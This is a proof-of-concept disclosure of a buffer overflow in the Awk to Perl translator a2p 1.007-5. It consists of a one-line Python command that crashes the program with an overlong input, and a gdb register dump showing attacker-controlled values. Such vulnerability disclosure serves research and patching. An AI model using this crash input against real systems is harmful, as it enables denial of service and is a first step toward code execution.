Awk to Perl 1.007-5 – Buffer Overflow (PoC)
# Exploit Title: Awk to Perl 1.007-5 - Buffer Overflow (PoC) # Author: Todor Donev # Date: 2018-07-11 # Software: Linux Awk to Perl Translator '/usr/bin/a2p' # Version: 1.007-5 # CVE: N/A # Tested on: CentOS 6.9, Ubuntu 10 [todor@adamantium ~]$ python -c "print 'A' * 2070" | a2p > /dev/null Segmentation fault [todor@adamantium ~]$ gdb a2p --quiet Reading symbols from /usr/bin/a2p...(no debugging symbols found)...done. Missing separate debuginfos, use: debuginfo-install *SNIPED* (gdb) r bof Starting program: /usr/bin/a2p bof [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x0074ee65 in fgets () from /lib/libc.so.6 (gdb) info reg eax 0x1060 4192 ecx 0x1 1 edx 0x41414141 1094795585 ebx 0x880ff4 8916980 esp 0xbffff0f0 0xbffff0f0 ebp 0xbffff118 0xbffff118 esi 0x41414141 1094795585 edi 0x8062920 134621472 eip 0x74ee65 0x74ee65 <fgets+53> eflags 0x210216 [ PF AF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) |